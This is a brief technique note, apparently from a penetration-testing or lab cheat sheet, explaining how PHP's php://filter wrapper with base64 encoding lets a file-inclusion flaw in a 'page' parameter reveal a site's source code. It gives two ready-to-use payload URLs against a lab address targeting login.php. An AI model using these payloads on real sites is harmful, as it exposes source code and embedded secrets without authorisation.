Php allows to pass files through filters before opening them. It is thus possible to encode a file in base64 before opening it.

http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php 
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php 

It only remains to decode base64 to get the source code of the file.